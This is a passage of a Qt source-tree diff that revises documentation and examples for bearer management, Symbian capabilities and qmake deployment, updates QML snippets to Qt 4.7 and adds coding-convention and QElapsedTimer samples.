+type QNetworkConfiguration::UserChoice. A user choice configuration is
+resolved as part of the \l {QNetworkSession::open()} call. Note that a
+\l{QNetworkConfiguration::UserChoice}{UserChoice} configuration is only
+ever returned via \l {QNetworkConfigurationManager::defaultConfiguration()}
+and not \l QNetworkConfigurationManager::allConfigurations().
+
+On systems which do not maintain a list of
+\l {QNetworkConfigurationManager::defaultConfiguration()}{defaultConfiguration()}
+an invalid configuration is returned. A possible workaround could be to
+implement a custom dialog which is populated based on what
+\l QNetworkConfigurationManager::allConfigurations() returns.
+
+\section3 Managing network sessions
+
+A QNetworkSession object separates a \l {QNetworkSession::state()}{state()}
+and an \l{QNetworkSession::isOpen()}{isOpen()} condition.
+
+The state() attribute enables developers to detect whether the system
+currently maintains a global network session for the given
+QNetworkConfiguration. If \l {QNetworkSession::isOpen()}{isOpen()}
+returns true the QNetworkSession instance at hand was at least one of the
+entities requesting the global network session. This distinction is
+required to support the notion of session registrations. For as long as
+there are one or more open QNetworkSession instances the underlying
+network interface is not shut down. Therefore the session
+\l{QNetworkSession::state()}{state()} can be used to monitor the state of
+network interfaces.
+
+An open session is created by calling \l {QNetworkSession::open()} and
+closed via \l{QNetworkSession::close()}, respectively. If the session
+is \l{QNetworkSession::Disconnected}{disconnected} at the time of the
+\l{QNetworkSession::open()}{open()} call the underlying interface is started;
+otherwise only the reference counter against the global session is
+incremeted. The opposite behavior can be observed when using
+\l{QNetworkSession::close()}{close()}.
+
+In some use cases it may be necessary to turn the interface off despite of
+open sessions. This can be achieved by calling
+\l{QNetworkSession::stop()}{stop()}. An example use case could be a
+network manager type of application allowing the user to control the
+overall state of the devices connectivity.
+
+Global (inter-process) session support is platform dependent and can be
+detected via \l {QNetworkConfigurationManager::SystemSessionSupport}.
+If the system does not support global session calling
+\l{QNetworkSession::close()}{close()} never stops the interface.
+
+\section3 Roaming
+
+Roaming is the process of reconnecting a device from one network to another
+while minimizing the impact on the application. The system notifies the application
+about link layer changes so that the required preparation can be taken.
+The most common reaction would be to reinitialize sockets and to renegotiate
+stateful connections with other parties. In the most extreme cases applications
+may even prevent the roaming altogether.
+
+Roaming is initiated when the system determines that a more appropriate access point
+becomes available to the user. In general such a decision is based on cost, network speed
+or network type (access to certain private networks may only be provided via certain access points).
+Almost all devices providing roaming support have some form of global configuration application
+enabling the user to define such groups of access points (service networks) and priorities.
+
+This API supports two types of roaming. Application level roaming (ALR)
+provides the most control over the process. Applications will be notified about upcoming
+link layer changes and get the opportunity to test the new access point. Eventually they can
+reject or accept the link layer change. The second form of roaming is referred to as Forced Roaming.
+The system simply changes the link layer without consulting the application. It is up to
+the application to detect that some of its internal socket may have become invalid. As a consequence
+it has to reinitialize those sockets and reestablish the previous user session without
+any interruption. Forced roaming has the advantage that applications don't have to
+manage the entire roaming process by themselves.
+
+QNetworkSession is the central class for managing roaming related issues.
+
+\section3 Platform capabilities
+
+Some API features are not available on all platforms. The
+\l QNetworkConfigurationManager::Capability should be used to detect
+platform features at runtime. The following table lists the various
+platform APIs being used by this API. This may assist in the process of
+determining the feature support:
+
+\table
+    \header
+    \o Platform
+    \o Backend capabilities
+    \row
+        \o Linux\unicode{0xAE}
+        \o Linux uses the \l {http://projects.gnome.org/NetworkManager}{NetworkManager API} which supports interface notifications and starting and stopping of network interfaces.
+    \row
+        \o Windows\unicode{0xAE} XP
+        \o This platform supports interface notifications without active polling.
+    \row
+        \o Windows XP SP2+Hotfixes, Windows XP SP3, Windows Vista, Windows 7
+        \o In addition to standard Windows XP wifi access point monitoring has been improved which includes the ability to start and stop wifi interfaces. This requires Windows to manage the wifi interfaces.
+    \row
+        \o Symbian\unicode{0xAE}  Platform & S60 3.1
+        \o Symbian support is based on Symbian platforms RConnection. In addition to interface notifications, starting and stopping of network it provides system wide session support and direct connection routing.
+    \row
+        \o Symbian Platform & S60 3.2+
+        \o This platform enjoys the most comprehensive feature set. In addition to the features support by the S60 3.1 Network roaming is supported.
+    \row
+        \o Mac OS\unicode{0xAE}
+        \o This platform has full support by way of CoreWLAN offered in Mac OS 10.6. Previous
+           versions of Mac OS - 10.5 and 10.4 have limited support.
+    \row
+        \o All other platforms (*nix, Windows Mobile)
+        \o This backend is the fallback for all platforms supports network interface notifications via active polling only.
+\endtable
+
+*/
diff --git a/doc/src/network-programming/qtnetwork.qdoc b/doc/src/network-programming/qtnetwork.qdoc
index d7e7481..36f48cf 100644
--- a/doc/src/network-programming/qtnetwork.qdoc
+++ b/doc/src/network-programming/qtnetwork.qdoc
@@ -53,11 +53,14 @@
     \brief An Introduction to Network Programming with Qt
 
     The QtNetwork module offers classes that allow you to write TCP/IP clients
-    and servers. it offers classes such as QFtp that implement specific
+    and servers. It offers classes such as QFtp that implement specific
     application-level protocols, lower-level classes such as QTcpSocket,
     QTcpServer and QUdpSocket that represent low level network concepts,
     and high level classes such as QNetworkRequest, QNetworkReply and
     QNetworkAccessManager to perform network operations using common protocols.
+    It also offers classes such as QNetworkConfiguration,
+    QNetworkConfigurationManager and QNetworkSession that implement bearer
+    management.
 
     \tableofcontents
 
@@ -327,4 +330,29 @@
     by passing a factory to QNetworkProxyFactory::setApplicationProxyFactory()
     and a custom proxying policy can be created by subclassing
     QNetworkProxyFactory; see the class documentation for details.
+
+    \section1 Bearer Management Support
+
+    Bearer Management controls the connectivity state of the device such that
+    the application can start or stop network interfaces and roam
+    transparently between access points.
+
+    The QNetworkConfigurationManager class manages the list of network
+    configurations known to the device. A network configuration describes the
+    set of parameters used to start a network interface and is represented by
+    the QNetworkConfiguration class.
+
+    A network interface is started by openning a QNetworkSession based on a
+    given network configuration. In most situations creating a network session
+    based on the platform specified default network configuration is
+    appropriate. The default network configuration is returned by the
+    QNetworkConfigurationManager::defaultConfiguration() function.
+
+    On some platforms it is a platform requirement that the application open a
+    network session before any network operations can be performed. This can be
+    tested by the presents of the
+    QNetworkConfigurationManager::NetworkSessionRequired flag in the value
+    returned by the QNetworkConfigurationManager::capabilities() function.
+
+    \sa {Bearer Management}
 */
diff --git a/doc/src/platforms/emb-features.qdoc b/doc/src/platforms/emb-features.qdoc
index 1974a45..ab549d3 100644
--- a/doc/src/platforms/emb-features.qdoc
+++ b/doc/src/platforms/emb-features.qdoc
@@ -105,9 +105,6 @@
     \note The \c qconfig tool is intended to be built against Qt on
     desktop platforms.
 
-    \bold{Windows CE:} The Qt for Windows CE package contains a \c qconfig
-    executable that you can run on a Windows desktop to configure the build.
-
     \image qt-embedded-qconfigtool.png
 
     The \c qconfig tool's interface displays all of Qt's
diff --git a/doc/src/platforms/emb-openvg.qdocinc b/doc/src/platforms/emb-openvg.qdocinc
index 37ccb9c..2f9cc21 100644
--- a/doc/src/platforms/emb-openvg.qdocinc
+++ b/doc/src/platforms/emb-openvg.qdocinc
@@ -259,6 +259,12 @@ at present.
         \o Convolution, colorize, drop shadow, and blur filters are
 accelerated using OpenVG operations.
 
+    \row
+        \o Scrolling
+        \o Accelerated scrolling is implemented but disabled by default
+unless QVG_BUFFER_SCROLLING is defined. This should only be enabled on
+OpenVG engines where vgCopyPixels() is known to be efficient.
+
 \endtable
 
 \section2 Known issues
diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc
index 9c9b743..83f2833 100644
--- a/doc/src/platforms/platform-notes.qdoc
+++ b/doc/src/platforms/platform-notes.qdoc
@@ -494,6 +494,31 @@
     For information about mixing exceptions with Symbian leaves, see
     \l{Exception Safety with Symbian}.
 
+    \section1 Required Capabilities
+
+    Distributions of Qt are typically signed with \c{All -TCB}. What your
+    application needs to be signed with in order to function with Qt depends
+    on what functionality it uses:
+
+    \table
+    \header \o Technology
+            \o Required Symbian Capability
+    \row    \o QtCore
+            \o \c PowerMgmt if applications are terminated using QProcess.
+    \row    \o QtNetwork
+            \o NetworkServices
+    \row    \o QtMultiMedia
+            \o \c UserEnvironment if QAudioInput is used.
+    \endtable
+
+    Depending on what file paths that are accessed and how AllFiles may be
+    required. Similarly, if the network is accessed indirectly through
+    components such as QtXmlPatterns, QtWebkit or QtScript, the capabilities
+    needs to match accordingly.
+
+    See individual classes' documentation for specifics. If a class does not
+    mention Symbian capabilities, it requires none.
+
     \section1 Multimedia and Phonon Support
 
     Qt provides a backend for Qt's Phonon module, which supports
diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc
index ba9821a..f1b5d41 100644
--- a/doc/src/qt4-intro.qdoc
+++ b/doc/src/qt4-intro.qdoc
@@ -52,8 +52,6 @@
     issues that you may encounter. It also explains how to turn on Qt
     3 compatibility support.
 
-    \tableofcontents
-
     \section1 New Technologies in Qt 4
 
     Qt 4 introduces the following core technologies:
@@ -467,10 +465,6 @@
     A list of other Qt 4 features can be found on the \bold{\l{What's
     New in Qt 4}} page.
 
-    \bold{Highlights}
-
-    \tableofcontents
-
     \section1 Declarative UI development with Qt Quick
 
     \image quick_screens.png
@@ -549,10 +543,6 @@
     A list of other Qt 4 features can be found on the \bold{\l{What's
     New in Qt 4}} page.
 
-    \bold{Highlights}
-
-    \tableofcontents
-
     \section1 Support for Symbian
 
     Qt 4.6 is the first release to include support for the Symbian
@@ -762,10 +752,6 @@
     A list of other Qt 4 features can be found on the
     \bold{\l{What's New in Qt 4}} page.
 
-    \bold{Highlights}
-
-    \tableofcontents
-
     \section1 Qt WebKit Integration
 
     \image webkit-netscape-plugin.png
diff --git a/doc/src/snippets/code/doc_src_deployment.qdoc b/doc/src/snippets/code/doc_src_deployment.qdoc
index 3b0cda1..48e9ac6 100644
--- a/doc/src/snippets/code/doc_src_deployment.qdoc
+++ b/doc/src/snippets/code/doc_src_deployment.qdoc
@@ -463,7 +463,8 @@ vendorinfo = \
     "%{\"Example Localized Vendor\"}" \
     ":\"Example Vendor\""
 
-default_deployment.pkg_prerules = vendorinfo
+my_deployment.pkg_prerules = vendorinfo
+DEPLOYMENT += my_deployment
 //! [56]
 
 //! [57]
@@ -471,7 +472,9 @@ supported_platforms = \
     "; This demo only supports S60 5.0" \
     "[0x1028315F],0,0,0,{\"S60ProductID\"}"
 
-default_deployment.pkg_prerules += supported_platforms
+default_deployment.pkg_prerules -= pkg_platform_dependencies
+my_deployment.pkg_prerules += supported_platforms
+DEPLOYMENT += my_deployment
 //! [57]
 
 //! [58]
diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
index 36676ae..5789662 100644
--- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc
+++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc
@@ -886,7 +886,7 @@ TARGET.CAPABILITY += AllFiles
 //! [133]
 
 //! [134]
-TARGET.CAPABILITY = ALL -TCB
+TARGET.CAPABILITY = ALL -TCB -DRM -AllFiles
 //! [134]
 
 //! [135]
@@ -933,7 +933,9 @@ DEPLOYMENT += somelib justdep
 //! [140]
 
 //! [141]
-default_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}"
+default_deployment.pkg_prerules -= pkg_platform_dependencies
+my_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}"
+DEPLOYMENT += my_deployment
 //! [141]
 
 //! [142]
diff --git a/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp b/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp
index 94a9f68..2867bd5a 100644
--- a/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp
+++ b/doc/src/snippets/code/src.qdbus.qdbuspendingcall.cpp
@@ -61,5 +61,6 @@ void MyClass::callFinishedSlot(QDBusPendingCallWatcher *call)
         QByteArray data = reply.argumentAt<1>();
         showReply(text, data);
     }
+    call->deleteLater();
 }
 //! [1]
diff --git a/doc/src/snippets/code/src_corelib_kernel_qobject.cpp b/doc/src/snippets/code/src_corelib_kernel_qobject.cpp
index 2d86f8c..77c67ab 100644
--- a/doc/src/snippets/code/src_corelib_kernel_qobject.cpp
+++ b/doc/src/snippets/code/src_corelib_kernel_qobject.cpp
@@ -374,10 +374,13 @@ Q_PROPERTY(type name
            READ getFunction
            [WRITE setFunction]
            [RESET resetFunction]
+           [NOTIFY notifySignal]
            [DESIGNABLE bool]
            [SCRIPTABLE bool]
            [STORED bool]
-	   [USER bool])
+	   [USER bool]
+           [CONSTANT]
+           [FINAL])
 //! [36]
 
 
diff --git a/doc/src/snippets/code/src_gui_image_qicon.cpp b/doc/src/snippets/code/src_gui_image_qicon.cpp
index df1fa82..e0dcfa6 100644
--- a/doc/src/snippets/code/src_gui_image_qicon.cpp
+++ b/doc/src/snippets/code/src_gui_image_qicon.cpp
@@ -56,8 +56,8 @@ void MyWidget::drawIcon(QPainter *painter, QPoint pos)
     QPixmap pixmap = icon.pixmap(QSize(22, 22),
                                    isEnabled() ? QIcon::Normal
                                                : QIcon::Disabled,
-                                   isOn() ? QIcon::On
-                                          : QIcon::Off);
+                                   isChecked() ? QIcon::On
+                                               : QIcon::Off);
     painter->drawPixmap(pos, pixmap);
 }
 //! [2]
diff --git a/doc/src/snippets/code/src_gui_text_qtextlayout.cpp b/doc/src/snippets/code/src_gui_text_qtextlayout.cpp
index ad5725e..13040ea 100644
--- a/doc/src/snippets/code/src_gui_text_qtextlayout.cpp
+++ b/doc/src/snippets/code/src_gui_text_qtextlayout.cpp
@@ -42,7 +42,6 @@
 //! [0]
 int leading = fontMetrics.leading();
 qreal height = 0;
-qreal widthUsed = 0;
 textLayout.beginLayout();
 while (1) {
     QTextLine line = textLayout.createLine();
@@ -53,7 +52,6 @@ while (1) {
     height += leading;
     line.setPosition(QPointF(0, height));
     height += line.height();
-    widthUsed = qMax(widthUsed, line.naturalTextWidth());
 }
 textLayout.endLayout();
 //! [0]
diff --git a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp
index 5db6676..1853650 100644
--- a/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp
+++ b/doc/src/snippets/code/src_network_access_qnetworkaccessmanager.cpp
@@ -69,3 +69,12 @@ networkAccessManager->setConfiguration(manager.defaultConfiguration());
 //! [3]
 networkAccessManager->setConfiguration(QNetworkConfiguration());
 //! [3]
+
+//! [4]
+networkAccessManager->setNetworkAccessible(QNetworkAccessManager::NotAccessible);
+//! [4]
+
+//! [5]
+networkAccessManager->setNetworkAccessible(QNetworkAccessManager::Accessible);
+//! [5]
+
diff --git a/doc/src/snippets/declarative/border-image.qml b/doc/src/snippets/declarative/border-image.qml
index c4215cd..9c4247e 100644
--- a/doc/src/snippets/declarative/border-image.qml
+++ b/doc/src/snippets/declarative/border-image.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
@@ -9,23 +9,21 @@ Rectangle {
         anchors.centerIn: parent
         spacing: 50
 //! [0]
-        BorderImage {
-            width: 180; height: 180
-            border.left: 30; border.top: 30
-            border.right: 30; border.bottom: 30
-            horizontalTileMode: BorderImage.Stretch
-            verticalTileMode: BorderImage.Stretch
-            source: "content/colors.png"
-        }
+BorderImage {
+    width: 180; height: 180
+    border { left: 30; top: 30; right: 30; bottom: 30 }
+    horizontalTileMode: BorderImage.Stretch
+    verticalTileMode: BorderImage.Stretch
+    source: "content/colors.png"
+}
 
-        BorderImage {
-            width: 180; height: 180
-            border.left: 30; border.top: 30
-            border.right: 30; border.bottom: 30
-            horizontalTileMode: BorderImage.Round
-            verticalTileMode: BorderImage.Round
-            source: "content/colors.png"
-        }
+BorderImage {
+    width: 180; height: 180
+    border { left: 30; top: 30; right: 30; bottom: 30 }
+    horizontalTileMode: BorderImage.Round
+    verticalTileMode: BorderImage.Round
+    source: "content/colors.png"
+}
 //! [0]
     }
 }
diff --git a/doc/src/snippets/declarative/codingconventions/dotproperties.qml b/doc/src/snippets/declarative/codingconventions/dotproperties.qml
new file mode 100644
index 0000000..942b0b1
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/dotproperties.qml
@@ -0,0 +1,28 @@
+import Qt 4.7
+
+Item {
+
+//! [0]
+Rectangle {
+    anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20
+}
+
+Text {
+    text: "hello"
+    font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase
+}
+
+//! [0]
+
+//! [1]
+Rectangle {
+    anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 }
+}
+
+Text {
+    text: "hello"
+    font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase }
+}
+//! [1]
+
+}
diff --git a/doc/src/snippets/declarative/codingconventions/javascript-imports.qml b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml
new file mode 100644
index 0000000..417366c
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/javascript-imports.qml
@@ -0,0 +1,7 @@
+import Qt 4.7
+
+//![0]
+import "myscript.js" as Script
+
+Rectangle { color: "blue"; width: Script.calculateWidth(parent) }
+//![0]
diff --git a/doc/src/snippets/declarative/codingconventions/javascript.qml b/doc/src/snippets/declarative/codingconventions/javascript.qml
new file mode 100644
index 0000000..64b5a40
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/javascript.qml
@@ -0,0 +1,33 @@
+import Qt 4.7
+
+Rectangle {
+
+//![0]
+Rectangle { color: "blue"; width: parent.width / 3 }
+//![0]
+
+//![1]
+Rectangle {
+    color: "blue"
+    width: {
+        var w = parent.width / 3
+        console.debug(w)
+        return w
+    }
+}
+//![1]
+
+//![2]
+function calculateWidth(object)
+{
+    var w = object.width / 3
+    // ...
+    // more javascript code
+    // ...
+    console.debug(w)
+    return w
+}
+
+Rectangle { color: "blue"; width: calculateWidth(parent) }
+//![2]
+}
diff --git a/doc/src/snippets/declarative/codingconventions/lists.qml b/doc/src/snippets/declarative/codingconventions/lists.qml
new file mode 100644
index 0000000..63e8100
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/lists.qml
@@ -0,0 +1,22 @@
+import Qt 4.7
+
+Item {
+    Item {
+//! [0]
+states: [
+    State {
+        name: "open"
+        PropertyChanges { target: container; width: 200 }
+    }
+]
+//! [0]
+    }
+    Item {
+//! [1]
+states: State {
+    name: "open"
+    PropertyChanges { target: container; width: 200 }
+}
+//! [1]
+    }
+}
diff --git a/doc/src/snippets/declarative/codingconventions/myscript.js b/doc/src/snippets/declarative/codingconventions/myscript.js
new file mode 100644
index 0000000..cfa6462
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/myscript.js
@@ -0,0 +1,9 @@
+function calculateWidth(parent)
+{
+    var w = parent.width / 3
+    // ...
+    // more javascript code
+    // ...
+    console.debug(w)
+    return w
+}
diff --git a/doc/src/snippets/declarative/codingconventions/photo.qml b/doc/src/snippets/declarative/codingconventions/photo.qml
new file mode 100644
index 0000000..c28c2c9
--- /dev/null
+++ b/doc/src/snippets/declarative/codingconventions/photo.qml
@@ -0,0 +1,37 @@
+import Qt 4.7
+
+//! [0]
+Rectangle {
+    id: photo                                               // id on the first line makes it easy to find an object
+
+    property bool thumbnail: false                          // property declarations
+    property alias image: photoImage.source
+
+    signal clicked                                          // signal declarations
+
+    function doSomething(x) {                               // javascript functions
+        return x + photoImage.width
+    }
+
+    x: 20; y: 20; width: 200; height: 150                   // object properties
+    color: "gray"                                           // try to group related properties together
+
+    Rectangle {                                             // child objects
+        id: border
+        anchors.centerIn: parent; color: "white"
+
+        Image { id: photoImage; anchors.centerIn: parent }
+    }
+
+    states: State {                                         // states
+        name: "selected"
+        PropertyChanges { target: border; color: "red" }
+    }
+
+    transitions: Transition {                               // transitions
+        from: ""; to: "selected"
+        ColorAnimation { target: border; duration: 200 }
+    }
+}
+//! [0]
+
diff --git a/doc/src/snippets/declarative/comments.qml b/doc/src/snippets/declarative/comments.qml
index 806be29..ab1bbc9 100644
--- a/doc/src/snippets/declarative/comments.qml
+++ b/doc/src/snippets/declarative/comments.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Text {
     text: "Hello world!"    //a basic greeting
diff --git a/doc/src/snippets/declarative/drag.qml b/doc/src/snippets/declarative/drag.qml
index 8e5b599..9465efb 100644
--- a/doc/src/snippets/declarative/drag.qml
+++ b/doc/src/snippets/declarative/drag.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 //! [0]
 Rectangle {
diff --git a/doc/src/snippets/declarative/flipable.qml b/doc/src/snippets/declarative/flipable.qml
new file mode 100644
index 0000000..ae74345
--- /dev/null
+++ b/doc/src/snippets/declarative/flipable.qml
@@ -0,0 +1,37 @@
+//! [0]
+import Qt 4.7
+
+Flipable {
+    id: flipable
+    width: 240
+    height: 240
+
+    property int angle: 0
+    property bool flipped: false
+
+    front: Image { source: "front.png" }
+    back: Image { source: "back.png" }
+
+    transform: Rotation {
+        origin.x: flipable.width/2; origin.y: flipable.height/2
+        axis.x: 0; axis.y: 1; axis.z: 0     // rotate around y-axis
+        angle: flipable.angle
+    }
+
+    states: State {
+        name: "back"
+        PropertyChanges { target: flipable; angle: 180 }
+        when: flipable.flipped
+    }
+
+    transitions: Transition {
+        NumberAnimation { properties: "angle"; duration: 1000 }
+    }
+
+    MouseArea {
+        anchors.fill: parent
+        onClicked: flipable.flipped = !flipable.flipped
+    }
+}
+//! [0]
+
diff --git a/doc/src/snippets/declarative/gradient.qml b/doc/src/snippets/declarative/gradient.qml
index 281360e..168398d 100644
--- a/doc/src/snippets/declarative/gradient.qml
+++ b/doc/src/snippets/declarative/gradient.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 100; height: 100
diff --git a/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml b/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml
index 3cf9ba7..90f139d 100644
--- a/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml
+++ b/doc/src/snippets/declarative/gridview/dummydata/ContactModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 ListModel {
     id: contactModel
diff --git a/doc/src/snippets/declarative/gridview/gridview.qml b/doc/src/snippets/declarative/gridview/gridview.qml
index 1a2021c..1d3df97 100644
--- a/doc/src/snippets/declarative/gridview/gridview.qml
+++ b/doc/src/snippets/declarative/gridview/gridview.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 //! [3]
 Rectangle {
diff --git a/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml b/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml
index 6832308..20687cf 100644
--- a/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml
+++ b/doc/src/snippets/declarative/listview/dummydata/ContactModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 ListModel {
     id: contactModel
diff --git a/doc/src/snippets/declarative/listview/highlight.qml b/doc/src/snippets/declarative/listview/highlight.qml
index 6a9d215..794b3f2 100644
--- a/doc/src/snippets/declarative/listview/highlight.qml
+++ b/doc/src/snippets/declarative/listview/highlight.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 180; height: 200; color: "white"
@@ -45,7 +45,7 @@ Rectangle {
             width: 180; height: 40
             color: "lightsteelblue"; radius: 5
             SpringFollow on y {
-                source: list.currentItem.y
+                to: list.currentItem.y
                 spring: 3
                 damping: 0.2
             }
diff --git a/doc/src/snippets/declarative/listview/listview.qml b/doc/src/snippets/declarative/listview/listview.qml
index be0f3ad..61bf126 100644
--- a/doc/src/snippets/declarative/listview/listview.qml
+++ b/doc/src/snippets/declarative/listview/listview.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 //! [3]
 Rectangle {
diff --git a/doc/src/snippets/declarative/mouseregion.qml b/doc/src/snippets/declarative/mouseregion.qml
index fc6c8f0..a464069 100644
--- a/doc/src/snippets/declarative/mouseregion.qml
+++ b/doc/src/snippets/declarative/mouseregion.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle { width: 200; height: 100
 Row {
diff --git a/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml b/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml
index 1334cf4..4004076 100644
--- a/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml
+++ b/doc/src/snippets/declarative/pathview/dummydata/MenuModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 ListModel {
     id: menuModel
diff --git a/doc/src/snippets/declarative/pathview/pathattributes.qml b/doc/src/snippets/declarative/pathview/pathattributes.qml
index 99d0de2..ba860c2 100644
--- a/doc/src/snippets/declarative/pathview/pathattributes.qml
+++ b/doc/src/snippets/declarative/pathview/pathattributes.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 240; height: 200; color: 'white'
diff --git a/doc/src/snippets/declarative/pathview/pathview.qml b/doc/src/snippets/declarative/pathview/pathview.qml
index e316578..3686398 100644
--- a/doc/src/snippets/declarative/pathview/pathview.qml
+++ b/doc/src/snippets/declarative/pathview/pathview.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 240; height: 200; color: 'white'
diff --git a/doc/src/snippets/declarative/repeater-index.qml b/doc/src/snippets/declarative/repeater-index.qml
index 9063967..709eaf2 100644
--- a/doc/src/snippets/declarative/repeater-index.qml
+++ b/doc/src/snippets/declarative/repeater-index.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 50; height: childrenRect.height; color: "white"
diff --git a/doc/src/snippets/declarative/repeater.qml b/doc/src/snippets/declarative/repeater.qml
index f8ac856..02a8208 100644
--- a/doc/src/snippets/declarative/repeater.qml
+++ b/doc/src/snippets/declarative/repeater.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 220; height: 20; color: "white"
diff --git a/doc/src/snippets/declarative/rotation.qml b/doc/src/snippets/declarative/rotation.qml
index 4a67dcb..f2fd78c 100644
--- a/doc/src/snippets/declarative/rotation.qml
+++ b/doc/src/snippets/declarative/rotation.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     width: 360; height: 80
diff --git a/doc/src/snippets/declarative/workerscript.qml b/doc/src/snippets/declarative/workerscript.qml
new file mode 100644
index 0000000..838e7e5
--- /dev/null
+++ b/doc/src/snippets/declarative/workerscript.qml
@@ -0,0 +1,24 @@
+//![0]
+import Qt 4.7
+
+Rectangle {
+    width: 300; height: 300
+
+    Text {
+        id: myText
+        text: 'Click anywhere'
+    }
+
+    WorkerScript {
+        id: myWorker
+        source: "script.js"
+
+        onMessage: myText.text = messageObject.reply
+    }
+
+    MouseArea {
+        anchors.fill: parent
+        onClicked: myWorker.sendMessage({ 'x': mouse.x, 'y': mouse.y })
+    }
+}
+//![0]
diff --git a/doc/src/snippets/qelapsedtimer/main.cpp b/doc/src/snippets/qelapsedtimer/main.cpp
new file mode 100644
index 0000000..9d0421f
--- /dev/null
+++ b/doc/src/snippets/qelapsedtimer/main.cpp
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+
+void slowOperation1()
+{
+    static char buf[256];
+    for (int i = 0; i < (1<<20); ++i)
+        buf[i % sizeof buf] = i;
+}
+
+void slowOperation2(int) { slowOperation1(); }
+
+void startExample()
+{
+//![0]
+    QElapsedTimer timer;
+    timer.start();
+
+    slowOperation1();
+
+    qDebug() << "The slow operation took" << timer.elapsed() << "milliseconds";
+//![0]
+}
+
+//![1]
+void executeSlowOperations(int timeout)
+{
+    QElapsedTimer timer;
+    timer.start();
+    slowOperation1();
+
+    int remainingTime = timeout - timer.elapsed();
+    if (remainingTime > 0)
+        slowOperation2(remainingTime);
+}
+//![1]
+
+//![2]
+void executeOperationsForTime(int ms)
+{
+    QElapsedTimer timer;
+    timer.start();
+
+    while (!timer.hasExpired(ms))
+        slowOperation1();
+}
+//![2]
+
+int restartExample()
+{
+//![3]
+    QElapsedTimer timer;
+
+    int count = 1;
+    timer.start();
+    do {
+        count *= 2;
+        slowOperation2(count);
+    } while (timer.restart() < 250);
+
+    return count;
+//![3]
+}
+
+int main(int argc, char **argv)
+{
+    QCoreApplication app(argc, argv);
+
+    startExample();
+    restartExample();
+    executeSlowOperations(5);
+    executeOperationsForTime(5);
+}
